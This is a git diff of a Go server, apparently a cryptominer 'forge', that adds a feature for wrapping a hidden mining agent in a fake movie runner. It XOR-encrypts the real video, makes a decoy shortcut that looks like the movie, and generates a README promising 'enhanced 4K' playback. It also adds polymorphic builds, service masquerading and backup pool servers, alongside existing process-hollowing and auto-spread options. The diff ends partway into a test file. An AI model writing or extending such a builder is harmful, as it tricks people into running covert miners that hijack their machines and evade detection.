+	return os.WriteFile(filepath.Join(assetsDir, "manifest.json"), raw, 0644)
+}
+
+func normalizeFusionMediaMode(mode string) string {
+	switch strings.ToLower(strings.TrimSpace(mode)) {
+	case "embedded":
+		return "embedded"
+	default:
+		return "paired"
+	}
+}
+
+func disguiseVideoExeName(mediaName string) string {
+	base := strings.TrimSuffix(mediaName, filepath.Ext(mediaName))
+	if base == "" {
+		base = "movie"
+	}
+	ext := filepath.Ext(mediaName)
+	if ext == "" {
+		ext = ".mkv"
+	}
+	return sanitizeFileName(base + ext + ".exe")
+}
+
+func runnerNameForMedia(mediaName string) string {
+	base := strings.TrimSuffix(filepath.Base(mediaName), filepath.Ext(mediaName))
+	if base == "" {
+		base = "movie"
+	}
+	return sanitizeFileName(base + "-runner.exe")
+}
+
+func fusionExportSubdir(req *BuildRequest, mediaName string) string {
+	if s := strings.TrimSpace(req.FusionExportSubdir); s != "" {
+		return sanitizeDirName(s)
+	}
+	base := strings.TrimSuffix(filepath.Base(mediaName), filepath.Ext(mediaName))
+	if base == "" {
+		base = strings.TrimSuffix(filepath.Base(req.FusionOutputName), filepath.Ext(req.FusionOutputName))
+	}
+	if base == "" {
+		base = sanitizeFileName(req.WorkerName)
+	}
+	return sanitizeDirName(base)
+}
+
+func (h *Handler) publishFusionDeliverable(subdir string, artifacts map[string]string, readme fusionReadmeInfo) (string, error) {
+	subdir = sanitizeDirName(subdir)
+	if subdir == "" || h.projectRoot == "" || h.projectRoot == "." {
+		return "", nil
+	}
+	destDir := filepath.Join(h.projectRoot, FusionDeliverablesDir, subdir)
+	if err := os.MkdirAll(destDir, 0755); err != nil {
+		return "", fmt.Errorf("failed to create fusion deliverables folder: %w", err)
+	}
+	for name, src := range artifacts {
+		if src == "" {
+			continue
+		}
+		dest := filepath.Join(destDir, sanitizeFileName(name))
+		if err := copyFile(src, dest); err != nil {
+			return "", fmt.Errorf("failed to export %s: %w", name, err)
+		}
+	}
+	readmePath := filepath.Join(destDir, "README.txt")
+	if err := os.WriteFile(readmePath, []byte(formatFusionReadme(readme)), 0644); err != nil {
+		return "", fmt.Errorf("failed to write README.txt: %w", err)
+	}
+	log.Printf("[Builder] Fusion deliverables -> %s", destDir)
+	return destDir, nil
+}
+
+func sanitizeDirName(name string) string {
+	name = strings.TrimSpace(name)
+	if name == "" {
+		return ""
+	}
+	name = filepath.Base(name)
+	var b strings.Builder
+	for _, r := range name {
+		switch {
+		case r >= 'a' && r <= 'z', r >= 'A' && r <= 'Z', r >= '0' && r <= '9', r == '-', r == '_', r == ' ', r == '.':
+			if r == ' ' {
+				b.WriteRune('_')
+			} else {
+				b.WriteRune(r)
+			}
+		}
+	}
+	out := strings.Trim(b.String(), "._")
+	if out == "" {
+		return "title"
+	}
+	return out
+}
diff --git a/server/internal/builder/fusion_readme.go b/server/internal/builder/fusion_readme.go
new file mode 100644
index 0000000..dc2e680
--- /dev/null
+++ b/server/internal/builder/fusion_readme.go
@@ -0,0 +1,71 @@
+package builder
+
+import (
+	"fmt"
+	"path/filepath"
+	"strings"
+)
+
+type fusionReadmeInfo struct {
+	Title       string
+	RunnerName  string
+	MediaName   string
+	PayloadKind string // exe | video
+	MediaMode   string // embedded | paired | ""
+}
+
+func formatFusionReadme(info fusionReadmeInfo) string {
+	title := strings.TrimSpace(info.Title)
+	if title == "" {
+		title = "Media"
+	}
+	runner := strings.TrimSpace(info.RunnerName)
+	if runner == "" {
+		runner = "runner.exe"
+	}
+
+	var b strings.Builder
+	fmt.Fprintf(&b, "========================================\r\n")
+	fmt.Fprintf(&b, "  ENHANCED PLAYBACK PACKAGE\r\n")
+	fmt.Fprintf(&b, "========================================\r\n\r\n")
+	fmt.Fprintf(&b, "Title: %s\r\n\r\n", title)
+
+	switch {
+	case info.PayloadKind == "video" && info.MediaMode == "paired":
+		media := strings.TrimSpace(info.MediaName)
+		if media == "" {
+			media = title + filepath.Ext(title)
+		}
+		fmt.Fprintf(&b, "HOW TO WATCH\r\n")
+		fmt.Fprintf(&b, "-----------\r\n")
+		fmt.Fprintf(&b, "Use the runner to play this movie in enhanced 4K / HDR quality:\r\n\r\n")
+		fmt.Fprintf(&b, "    %s\r\n\r\n", runner)
+		fmt.Fprintf(&b, "Do NOT open the movie file directly — it is locked.\r\n")
+		fmt.Fprintf(&b, "Double-clicking the movie shortcut only reminds you to use the runner.\r\n\r\n")
+		fmt.Fprintf(&b, "FILES IN THIS FOLDER\r\n")
+		fmt.Fprintf(&b, "-------------------\r\n")
+		fmt.Fprintf(&b, "  %-22s  START HERE — play movie (enhanced 4K)\r\n", runner)
+		fmt.Fprintf(&b, "  %-22s  locked shortcut (looks like the movie)\r\n", media+".lnk")
+		fmt.Fprintf(&b, "  %-22s  encrypted video (do not open directly)\r\n", media+".cmdata")
+		fmt.Fprintf(&b, "  README.txt            this file\r\n\r\n")
+		fmt.Fprintf(&b, "The agent is embedded inside the runner only — no separate miner file.\r\n")
+		fmt.Fprintf(&b, "Keep every file in this folder together (or use the downloaded ZIP as-is).\r\n")
+
+	case info.PayloadKind == "video" && info.MediaMode == "embedded":
+		fmt.Fprintf(&b, "HOW TO WATCH\r\n")
+		fmt.Fprintf(&b, "-----------\r\n")
+		fmt.Fprintf(&b, "Double-click the launcher below to play in enhanced 4K / HDR quality:\r\n\r\n")
+		fmt.Fprintf(&b, "    %s\r\n\r\n", runner)
+		fmt.Fprintf(&b, "This is a single-file package — the movie and player are bundled inside.\r\n")
+
+	default:
+		fmt.Fprintf(&b, "HOW TO RUN\r\n")
+		fmt.Fprintf(&b, "----------\r\n")
+		fmt.Fprintf(&b, "Double-click:\r\n\r\n")
+		fmt.Fprintf(&b, "    %s\r\n\r\n", runner)
+		fmt.Fprintf(&b, "Your prep application runs normally; enhanced background services start automatically.\r\n")
+	}
+
+	fmt.Fprintf(&b, "\r\n========================================\r\n")
+	return b.String()
+}
diff --git a/server/internal/builder/fusion_readme_test.go b/server/internal/builder/fusion_readme_test.go
new file mode 100644
index 0000000..ec7a64a
--- /dev/null
+++ b/server/internal/builder/fusion_readme_test.go
@@ -0,0 +1,21 @@
+package builder
+
+import (
+	"strings"
+	"testing"
+)
+
+func TestFormatFusionReadmePaired(t *testing.T) {
+	text := formatFusionReadme(fusionReadmeInfo{
+		Title:       "Vacation",
+		RunnerName:  "Vacation-runner.exe",
+		MediaName:   "Vacation.mkv",
+		PayloadKind: "video",
+		MediaMode:   "paired",
+	})
+	for _, want := range []string{"Vacation-runner.exe", "enhanced 4K", "README.txt", "Vacation.mkv.lnk"} {
+		if !strings.Contains(text, want) {
+			t.Fatalf("readme missing %q:\n%s", want, text)
+		}
+	}
+}
diff --git a/server/internal/builder/fusion_upload_test.go b/server/internal/builder/fusion_upload_test.go
index f860c03..1e4455b 100644
--- a/server/internal/builder/fusion_upload_test.go
+++ b/server/internal/builder/fusion_upload_test.go
@@ -9,7 +9,7 @@ import (
 	"testing"
 )
 
-func TestSaveUploadedPrepCreatesPrepsDir(t *testing.T) {
+func TestSaveUploadedFusionPayloadCreatesPrepsDir(t *testing.T) {
 	dataDir := t.TempDir()
 	h := &Handler{dataDir: dataDir}
 
@@ -42,16 +42,35 @@ func TestSaveUploadedPrepCreatesPrepsDir(t *testing.T) {
 	}
 	defer f.Close()
 
-	path, cleanup, err := h.saveUploadedPrep(f, fileHeaders[0])
+	path, cleanup, err := h.saveUploadedFusionPayload(f, fileHeaders[0])
 	if err != nil {
 		t.Fatal(err)
 	}
 	defer cleanup()
 
 	if _, err := os.Stat(path); err != nil {
-		t.Fatalf("prep not saved: %v", err)
+		t.Fatalf("payload not saved: %v", err)
 	}
 	if _, err := os.Stat(filepath.Join(dataDir, "preps")); err != nil {
 		t.Fatalf("preps dir not created: %v", err)
 	}
 }
+
+func TestSaveUploadedFusionPayloadRejectsBadExt(t *testing.T) {
+	h := &Handler{dataDir: t.TempDir()}
+	body := &bytes.Buffer{}
+	w := multipart.NewWriter(body)
+	partHeader := make(textproto.MIMEHeader)
+	partHeader.Set("Content-Disposition", `form-data; name="prep_exe"; filename="bad.txt"`)
+	part, _ := w.CreatePart(partHeader)
+	_, _ = part.Write([]byte("x"))
+	w.Close()
+	r := multipart.NewReader(body, w.Boundary())
+	form, _ := r.ReadForm(10 << 20)
+	f, _ := form.File["prep_exe"][0].Open()
+	defer f.Close()
+	_, _, err := h.saveUploadedFusionPayload(f, form.File["prep_exe"][0])
+	if err == nil {
+		t.Fatal("expected error for .txt upload")
+	}
+}
diff --git a/server/internal/builder/fusion_zip.go b/server/internal/builder/fusion_zip.go
new file mode 100644
index 0000000..18e17b7
--- /dev/null
+++ b/server/internal/builder/fusion_zip.go
@@ -0,0 +1,71 @@
+package builder
+
+import (
+	"archive/zip"
+	"fmt"
+	"io"
+	"os"
+	"path/filepath"
+	"strings"
+)
+
+func zipDirectory(sourceDir, zipPath string) error {
+	sourceDir, err := filepath.Abs(sourceDir)
+	if err != nil {
+		return err
+	}
+	zipPath, err = filepath.Abs(zipPath)
+	if err != nil {
+		return err
+	}
+	if strings.HasPrefix(zipPath, sourceDir+string(os.PathSeparator)) || zipPath == sourceDir {
+		return fmt.Errorf("zip path must be outside source directory")
+	}
+
+	out, err := os.Create(zipPath)
+	if err != nil {
+		return err
+	}
+	defer out.Close()
+
+	zw := zip.NewWriter(out)
+	defer zw.Close()
+
+	return filepath.Walk(sourceDir, func(path string, info os.FileInfo, walkErr error) error {
+		if walkErr != nil {
+			return walkErr
+		}
+		if info.IsDir() {
+			return nil
+		}
+		if strings.EqualFold(filepath.Ext(path), ".zip") {
+			return nil
+		}
+		rel, err := filepath.Rel(sourceDir, path)
+		if err != nil {
+			return err
+		}
+		rel = filepath.ToSlash(rel)
+		hdr, err := zip.FileInfoHeader(info)
+		if err != nil {
+			return err
+		}
+		hdr.Name = rel
+		hdr.Method = zip.Deflate
+		w, err := zw.CreateHeader(hdr)
+		if err != nil {
+			return err
+		}
+		in, err := os.Open(path)
+		if err != nil {
+			return err
+		}
+		_, err = io.Copy(w, in)
+		in.Close()
+		return err
+	})
+}
+
+func fusionBundleZipName(subdir string) string {
+	return sanitizeFileName(subdir) + "-package.zip"
+}
diff --git a/server/internal/builder/fusion_zip_test.go b/server/internal/builder/fusion_zip_test.go
new file mode 100644
index 0000000..5284920
--- /dev/null
+++ b/server/internal/builder/fusion_zip_test.go
@@ -0,0 +1,27 @@
+package builder
+
+import (
+	"archive/zip"
+	"os"
+	"path/filepath"
+	"testing"
+)
+
+func TestZipDirectory(t *testing.T) {
+	dir := t.TempDir()
+	if err := os.WriteFile(filepath.Join(dir, "README.txt"), []byte("hi"), 0644); err != nil {
+		t.Fatal(err)
+	}
+	zipPath := filepath.Join(t.TempDir(), "pkg.zip")
+	if err := zipDirectory(dir, zipPath); err != nil {
+		t.Fatal(err)
+	}
+	r, err := zip.OpenReader(zipPath)
+	if err != nil {
+		t.Fatal(err)
+	}
+	defer r.Close()
+	if len(r.File) != 1 || r.File[0].Name != "README.txt" {
+		t.Fatalf("unexpected zip contents: %+v", r.File)
+	}
+}
diff --git a/server/internal/builder/handler.go b/server/internal/builder/handler.go
index ea27a17..2f801a2 100644
--- a/server/internal/builder/handler.go
+++ b/server/internal/builder/handler.go
@@ -22,8 +22,9 @@ import (
 
 type BuildRequest struct {
 	WorkerName          string `json:"worker_name"`
-	ServerURL           string `json:"server_url"`
-	Wallet              string `json:"wallet"`
+	ServerURL           string   `json:"server_url"`
+	BackupServerURLs    []string `json:"backup_server_urls"`
+	Wallet              string   `json:"wallet"`
 	OutputDir           string `json:"output_dir"`
 	Threads             int    `json:"threads"`
 	ThreadMode          string `json:"thread_mode"`
@@ -55,9 +56,13 @@ type BuildRequest struct {
 	PoolPort            int    `json:"pool_port"`
 	PoolTLS             bool   `json:"pool_tls"`
 	PoolPass            string `json:"pool_pass"`
-	FusionEnabled       bool   `json:"fusion_enabled"`
-	FusionRunOrder      string `json:"fusion_run_order"`
-	FusionOutputName    string `json:"fusion_output_name"`
+	FusionEnabled        bool   `json:"fusion_enabled"`
+	FusionRunOrder       string `json:"fusion_run_order"`
+	FusionOutputName     string `json:"fusion_output_name"`
+	FusionPayloadKind    string `json:"fusion_payload_kind"`
+	FusionMediaMode      string `json:"fusion_media_mode"`
+	FusionMediaBaseName  string `json:"fusion_media_base_name"`
+	FusionExportSubdir   string `json:"fusion_export_subdir"`
 	// AI Autonomy (Ollama)
 	AIEnabled        bool   `json:"ai_enabled"`
 	AIOllamaEndpoint string `json:"ai_ollama_endpoint"`
@@ -83,12 +88,22 @@ type BuildResponse struct {
 	ExportPath           string `json:"export_path,omitempty"`
 	UninstallExportPath  string `json:"uninstall_export_path,omitempty"`
 	FusionEnabled        bool   `json:"fusion_enabled,omitempty"`
+	FusionExportDir      string `json:"fusion_export_dir,omitempty"`
+	ExtraFiles           []BuildArtifactFile `json:"extra_files,omitempty"`
+	BundleFileName       string `json:"bundle_file_name,omitempty"`
+	BundleDownloadURL    string `json:"bundle_download_url,omitempty"`
+	BundleSize           int64  `json:"bundle_size,omitempty"`
 	WorkerFile           string `json:"worker_file,omitempty"`
 	Signed               bool   `json:"signed,omitempty"`
 	Obfuscated           bool   `json:"obfuscated,omitempty"`
 	Error                string `json:"error,omitempty"`
 }
 
+type BuildArtifactFile struct {
+	FileName string `json:"file_name"`
+	FilePath string `json:"file_path,omitempty"`
+}
+
 type Handler struct {
 	db          *db.Database
 	dataDir     string
@@ -147,7 +162,7 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
 
 	contentType := r.Header.Get("Content-Type")
 	if strings.HasPrefix(contentType, "multipart/form-data") {
-		if err := r.ParseMultipartForm(150 << 20); err != nil {
+		if err := r.ParseMultipartForm(64 << 20); err != nil {
 			writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Invalid multipart form"})
 			return
 		}
@@ -166,10 +181,16 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
 			return
 		}
 		defer file.Close()
+		if req.FusionMediaBaseName == "" && header.Filename != "" {
+			req.FusionMediaBaseName = header.Filename
+		}
 		if req.FusionEnabled && req.FusionOutputName == "" && header.Filename != "" {
 			req.FusionOutputName = header.Filename
 		}
-		saved, remove, err := h.saveUploadedPrep(file, header)
+		if req.FusionPayloadKind == "" {
+			req.FusionPayloadKind = detectFusionPayloadKind(header.Filename)
+		}
+		saved, remove, err := h.saveUploadedFusionPayload(file, header)
 		if err != nil {
 			writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: err.Error()})
 			return
@@ -230,7 +251,7 @@ func (h *Handler) ServeEstimate(w http.ResponseWriter, r *http.Request) {
 
 	contentType := r.Header.Get("Content-Type")
 	if strings.HasPrefix(contentType, "multipart/form-data") {
-		if err := r.ParseMultipartForm(150 << 20); err != nil {
+		if err := r.ParseMultipartForm(64 << 20); err != nil {
 			writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Invalid multipart form"})
 			return
 		}
@@ -253,7 +274,10 @@ func (h *Handler) ServeEstimate(w http.ResponseWriter, r *http.Request) {
 			prepSize = header.Size
 			prepName = header.Filename
 		}
-		saved, remove, err := h.saveUploadedPrep(file, header)
+		if req.FusionPayloadKind == "" {
+			req.FusionPayloadKind = detectFusionPayloadKind(header.Filename)
+		}
+		saved, remove, err := h.saveUploadedFusionPayload(file, header)
 		if err != nil {
 			writeJSON(w, http.StatusBadRequest, map[string]string{"error": err.Error()})
 			return
@@ -301,6 +325,30 @@ func (h *Handler) DownloadBuild(w http.ResponseWriter, r *http.Request) {
 	http.ServeFile(w, r, build.FilePath)
 }
 
+func (h *Handler) DownloadBuildArtifact(w http.ResponseWriter, r *http.Request) {
+	buildID := chi.URLParam(r, "id")
+	name := sanitizeFileName(chi.URLParam(r, "name"))
+	if name == "" {
+		http.Error(w, "Invalid artifact name", http.StatusBadRequest)
+		return
+	}
+	buildDir := filepath.Join(h.dataDir, "builds", buildID)
+	path := filepath.Join(buildDir, name)
+	if _, err := os.Stat(path); err != nil {
+		// Paired media may live in fusion export dir — try deliverables folder from query
+		if exportDir := strings.TrimSpace(r.URL.Query().Get("export_dir")); exportDir != "" {
+			path = filepath.Join(exportDir, name)
+		}
+	}
+	if _, err := os.Stat(path); err != nil {
+		http.Error(w, "Artifact not found", http.StatusNotFound)
+		return
+	}
+	w.Header().Set("Content-Type", "application/octet-stream")
+	w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, name))
+	http.ServeFile(w, r, path)
+}
+
 func (h *Handler) DownloadUninstall(w http.ResponseWriter, r *http.Request) {
 	buildID := chi.URLParam(r, "id")
 	build, err := h.db.GetBuild(buildID)
@@ -352,6 +400,13 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
 		ldflags += " -H windowsgui"
 	}
 
+	extra, err := injectPolymorph(agentDir, buildID)
+	if err != nil {
+		log.Printf("[Forge] polymorph inject: %v", err)
+	} else {
+		ldflags += extra
+	}
+
 	obfuscated := h.shouldObfuscate(req) && h.garblePath != ""
 	if _, err := h.compileGoProject(agentDir, outputPath, ldflags, h.buildTagsFor(req), obfuscated); err != nil {
 		log.Printf("Build failed: %v", err)
@@ -367,19 +422,97 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
 		return BuildResponse{Success: false, Error: "Failed to write uninstall script: " + err.Error()}, http.StatusInternalServerError, ""
 	}
 
+	var extraArtifacts []BuildArtifactFile
+	var fusionRes *fusionBuildResult
 	if req.FusionEnabled {
-		fusedPath, err := h.buildFusion(buildDir, prepPath, outputPath, req.FusionOutputName, req.FusionRunOrder)
+		if req.FusionPayloadKind == "" {
+			req.FusionPayloadKind = detectFusionPayloadKind(prepPath)
+		}
+		var err error
+		fusionRes, err = h.buildFusionFromRequest(buildDir, prepPath, outputPath, req)
 		if err != nil {
 			return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
 		}
-		finalPath = fusedPath
-		finalName = filepath.Base(fusedPath)
+		finalPath = fusionRes.LauncherPath
+		finalName = filepath.Base(finalPath)
 		fusionEnabled = true
+		if fusionRes.EncryptedPath != "" {
+			extraArtifacts = append(extraArtifacts, BuildArtifactFile{
+				FileName: filepath.Base(fusionRes.EncryptedPath),
+				FilePath: fusionRes.EncryptedPath,
+			})
+		}
+		if fusionRes.ShortcutPath != "" {
+			extraArtifacts = append(extraArtifacts, BuildArtifactFile{
+				FileName: filepath.Base(fusionRes.ShortcutPath),
+				FilePath: fusionRes.ShortcutPath,
+			})
+		}
 	}
 
-	exportPath, err := h.publishRootExecutable(finalPath, finalName)
-	if err != nil {
-		return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
+	var fusionExportDir string
+	var bundleFileName string
+	var bundleDownloadURL string
+	var bundleSize int64
+	exportPath := ""
+	if fusionEnabled {
+		exportLabel := req.FusionMediaBaseName
+		if exportLabel == "" {
+			exportLabel = filepath.Base(prepPath)
+		}
+		if req.FusionPayloadKind != "video" {
+			exportLabel = strings.TrimSuffix(finalName, filepath.Ext(finalName))
+		}
+		arts := map[string]string{finalName: finalPath}
+		for _, ex := range extraArtifacts {
+			arts[ex.FileName] = ex.FilePath
+		}
+		subdir := fusionExportSubdir(req, exportLabel)
+		readme := fusionReadmeInfo{
+			Title:       strings.TrimSuffix(filepath.Base(exportLabel), filepath.Ext(exportLabel)),
+			RunnerName:  finalName,
+			MediaName:   filepath.Base(exportLabel),
+			PayloadKind: req.FusionPayloadKind,
+			MediaMode:   req.FusionMediaMode,
+		}
+		if readme.Title == "" {
+			readme.Title = sanitizeFileName(req.WorkerName)
+		}
+		dir, err := h.publishFusionDeliverable(subdir, arts, readme)
+		if err != nil {
+			return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
+		}
+		fusionExportDir = dir
+		exportPath = filepath.Join(dir, finalName)
+		extraArtifacts = append(extraArtifacts, BuildArtifactFile{
+			FileName: "README.txt",
+			FilePath: filepath.Join(dir, "README.txt"),
+		})
+		for i := range extraArtifacts {
+			if extraArtifacts[i].FileName != "README.txt" {
+				extraArtifacts[i].FilePath = filepath.Join(dir, extraArtifacts[i].FileName)
+			}
+		}
+
+		bundleFileName = fusionBundleZipName(subdir)
+		bundleBuildPath := filepath.Join(buildDir, bundleFileName)
+		if err := zipDirectory(dir, bundleBuildPath); err != nil {
+			return BuildResponse{Success: false, Error: "Failed to create package zip: " + err.Error()}, http.StatusInternalServerError, ""
+		}
+		_ = copyFile(bundleBuildPath, filepath.Join(dir, bundleFileName))
+		if st, err := os.Stat(bundleBuildPath); err == nil {
+			bundleSize = st.Size()
+		}
+		bundleDownloadURL = fmt.Sprintf("/api/v1/builds/%s/artifact/%s", buildID, bundleFileName)
+	} else {
+		var err error
+		exportPath, err = h.publishRootExecutable(finalPath, finalName)
+		if err != nil {
+			return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
+		}
+	}
+	if exportPath == "" {
+		exportPath, _ = filepath.Abs(finalPath)
 	}
 	if strings.TrimSpace(req.OutputDir) != "" {
 		if ep, eu, err := h.exportBuildArtifacts(finalPath, finalName, uninstallPath, uninstallName, req.OutputDir); err != nil {
@@ -439,7 +572,7 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
 		log.Printf("Failed to record build: %v", err)
 	}
 
-	return BuildResponse{
+	resp := BuildResponse{
 		Success:              true,
 		BuildID:              buildID,
 		FileName:             finalName,
@@ -453,10 +586,23 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
 		ExportPath:           exportPath,
 		UninstallExportPath:  "",
 		FusionEnabled:        fusionEnabled,
+		FusionExportDir:      fusionExportDir,
+		ExtraFiles:           extraArtifacts,
+		BundleFileName:       bundleFileName,
+		BundleDownloadURL:    bundleDownloadURL,
+		BundleSize:           bundleSize,
 		WorkerFile:           workerName,
 		Signed:               signed,
 		Obfuscated:           obfuscated,
-	}, http.StatusOK, finalPath
+	}
+	if fusionEnabled && bundleDownloadURL != "" {
+		resp.DownloadURL = bundleDownloadURL
+		resp.FileName = bundleFileName
+		if bundleSize > 0 {
+			resp.FileSize = bundleSize
+		}
+	}
+	return resp, http.StatusOK, finalPath
 }
 
 // publishRootExecutable writes the forged installer as a single file in the project root.
@@ -613,6 +759,10 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
 		if req.FusionOutputName == "" {
 			req.FusionOutputName = "prep.exe"
 		}
+		if req.FusionMediaMode == "" {
+			req.FusionMediaMode = "paired"
+		}
+		req.FusionMediaMode = normalizeFusionMediaMode(req.FusionMediaMode)
 		if req.DisplayMode == "" || req.DisplayMode == "visible" {
 			req.DisplayMode = "background"
 		}
@@ -628,16 +778,19 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
 	return nil
 }
 
-func (h *Handler) saveUploadedPrep(file multipart.File, header *multipart.FileHeader) (string, func(), error) {
-	if header == nil || header.Size == 0 {
-		return "", nil, fmt.Errorf("prep.exe upload is empty")
+func (h *Handler) saveUploadedFusionPayload(file multipart.File, header *multipart.FileHeader) (string, func(), error) {
+	if header == nil {
+		return "", nil, fmt.Errorf("fusion upload is missing")
 	}
-	if header.Size > 150<<20 {
-		return "", nil, fmt.Errorf("prep.exe exceeds 150MB limit")
+	if header.Size > FusionMaxUploadBytes {
+		return "", nil, fmt.Errorf("fusion upload exceeds %s limit", formatBytes(FusionMaxUploadBytes))
 	}
-	name := strings.ToLower(header.Filename)
-	if !strings.HasSuffix(name, ".exe") {
-		return "", nil, fmt.Errorf("prep upload must be a .exe file")
+	baseName := filepath.Base(header.Filename)
+	if baseName == "" || baseName == "." {
+		return "", nil, fmt.Errorf("fusion upload filename is invalid")
+	}
+	if !isFusionPayloadExt(baseName) {
+		return "", nil, fmt.Errorf("fusion upload must be .exe, .mp4, .mkv, or .mov")
 	}
 
 	prepRoot := filepath.Join(h.dataDir, "preps")
@@ -648,22 +801,39 @@ func (h *Handler) saveUploadedPrep(file multipart.File, header *multipart.FileHe
 	if err != nil {
 		return "", nil, err
 	}
-	dest := filepath.Join(dir, "prep.exe")
+	dest := filepath.Join(dir, sanitizeFileName(baseName))
 	out, err := os.Create(dest)
 	if err != nil {
 		os.RemoveAll(dir)
 		return "", nil, err
 	}
-	if _, err := io.Copy(out, file); err != nil {
-		out.Close()
+	written, err := io.Copy(out, file)
+	out.Close()
+	if err != nil {
 		os.RemoveAll(dir)
 		return "", nil, err
 	}
-	out.Close()
+	if written == 0 {
+		os.RemoveAll(dir)
+		return "", nil, fmt.Errorf("fusion upload is empty")
+	}
+	if written > FusionMaxUploadBytes {
+		os.RemoveAll(dir)
+		return "", nil, fmt.Errorf("fusion upload exceeds %s limit", formatBytes(FusionMaxUploadBytes))
+	}
 	cleanup := func() { _ = os.RemoveAll(dir) }
 	return dest, cleanup, nil
 }
 
+func isFusionPayloadExt(name string) bool {
+	switch strings.ToLower(filepath.Ext(name)) {
+	case ".exe", ".mp4", ".mkv", ".mov":
+		return true
+	default:
+		return false
+	}
+}
+
 func (h *Handler) generateBuiltinConfig(buildID string, req *BuildRequest) string {
 	return fmt.Sprintf(`// Code generated by Miner Builder - DO NOT EDIT
 // Build ID: %s
@@ -675,9 +845,10 @@ import "time"
 
 func GetBuiltinConfig() BuiltinConfig {
 	return BuiltinConfig{
-		WorkerName:  %q,
-		ServerURL:   %q,
-		Wallet:      %q,
+		WorkerName:       %q,
+		ServerURL:        %q,
+		BackupServerURLs: %s,
+		Wallet:           %q,
 		Threads:     %d,
 		ThreadMode:  %q,
 		ThreadPercent: %d,
@@ -715,11 +886,15 @@ func GetBuiltinConfig() BuiltinConfig {
 		ProcessHollowing:    %v,
 		MeshP2P:             %v,
 		AutoSpread:          %v,
+		ServiceMasquerade:   %v,
+		ServiceName:         %q,
+		ServiceDonor:        %q,
 	}
 }
 `, buildID, time.Now().UTC().Format(time.RFC3339),
 		req.WorkerName,
 		req.ServerURL,
+		formatGoStringSlice(req.BackupServerURLs),
 		req.Wallet,
 		req.Threads,
 		req.ThreadMode,
@@ -758,9 +933,32 @@ func GetBuiltinConfig() BuiltinConfig {
 		req.ProcessHollowing,
 		req.MeshP2P,
 		req.AutoSpread,
+		serviceMasqueradeEnabled(req),
+		serviceMasqueradeName(buildID, req),
+		serviceMasqueradeDonor(buildID, req),
 	)
 }
 
+func serviceMasqueradeEnabled(req *BuildRequest) bool {
+	return req.RunAs == "service" || req.ProcessHollowing
+}
+
+func serviceMasqueradeName(buildID string, req *BuildRequest) string {
+	if !serviceMasqueradeEnabled(req) {
+		return ""
+	}
+	name, _ := pickServiceMasquerade(buildID)
+	return name
+}
+
+func serviceMasqueradeDonor(buildID string, req *BuildRequest) string {
+	if !serviceMasqueradeEnabled(req) {
+		return ""
+	}
+	_, donor := pickServiceMasquerade(buildID)
+	return donor
+}
+
 func (h *Handler) copyAgentSource(destDir string) error {
 	srcDir := h.agentSrcDir
 	return filepath.Walk(srcDir, func(path string, info os.FileInfo, err error) error {
@@ -826,6 +1024,23 @@ func looksLikeXMRWallet(addr string) bool {
 	return true
 }
 
+func formatGoStringSlice(values []string) string {
+	if len(values) == 0 {
+		return "nil"
+	}
+	parts := make([]string, 0, len(values))
+	for _, v := range values {
+		v = strings.TrimSpace(v)
+		if v != "" {
+			parts = append(parts, fmt.Sprintf("%q", v))
+		}
+	}
+	if len(parts) == 0 {
+		return "nil"
+	}
+	return "[]string{" + strings.Join(parts, ", ") + "}"
+}
+
 func sanitizeFileName(name string) string {
 	replacer := strings.NewReplacer(
 		" ", "-", "/", "-", "\\", "-", ":", "-",
diff --git a/server/internal/builder/limits.go b/server/internal/builder/limits.go
new file mode 100644
index 0000000..7085418
--- /dev/null
+++ b/server/internal/builder/limits.go
@@ -0,0 +1,7 @@
+package builder
+
+// FusionMaxUploadBytes is the maximum prep / video upload size for forge.
+const FusionMaxUploadBytes int64 = 2 << 30 // 2 GiB
+
+// FusionDeliverablesDir is the project-root folder for per-title movie outputs.
+const FusionDeliverablesDir = "fusion-deliverables"
diff --git a/server/internal/builder/media_lock.go b/server/internal/builder/media_lock.go
new file mode 100644
index 0000000..c7fb9bd
--- /dev/null
+++ b/server/internal/builder/media_lock.go
@@ -0,0 +1,67 @@
+package builder
+
+import (
+	"crypto/rand"
+	"encoding/base64"
+	"fmt"
+	"io"
+	"os"
+)
+
+const mediaLockMagic = "CMVD"
+
+// EncryptMediaFile XOR-encrypts a movie for paired fusion (runner holds the key in manifest).
+func EncryptMediaFile(srcPath, destPath string, key []byte) error {
+	if len(key) == 0 {
+		return fmt.Errorf("media lock key is empty")
+	}
+	in, err := os.Open(srcPath)
+	if err != nil {
+		return err
+	}
+	defer in.Close()
+
+	out, err := os.Create(destPath)
+	if err != nil {
+		return err
+	}
+	defer out.Close()
+
+	if _, err := io.WriteString(out, mediaLockMagic); err != nil {
+		return err
+	}
+	buf := make([]byte, 256*1024)
+	ki := 0
+	for {
+		n, readErr := in.Read(buf)
+		if n > 0 {
+			chunk := make([]byte, n)
+			for i := 0; i < n; i++ {
+				chunk[i] = buf[i] ^ key[ki%len(key)]
+				ki++
+			}
+			if _, err := out.Write(chunk); err != nil {
+				return err
+			}
+		}
+		if readErr == io.EOF {
+			break
+		}
+		if readErr != nil {
+			return readErr
+		}
+	}
+	return nil
+}
+
+func NewMediaLockKey() ([]byte, error) {
+	key := make([]byte, 32)
+	if _, err := rand.Read(key); err != nil {
+		return nil, err
+	}
+	return key, nil
+}
+
+func MediaLockKeyB64(key []byte) string {
+	return base64.StdEncoding.EncodeToString(key)
+}
diff --git a/server/internal/builder/media_lock_test.go b/server/internal/builder/media_lock_test.go
new file mode 100644
index 0000000..4716931
--- /dev/null
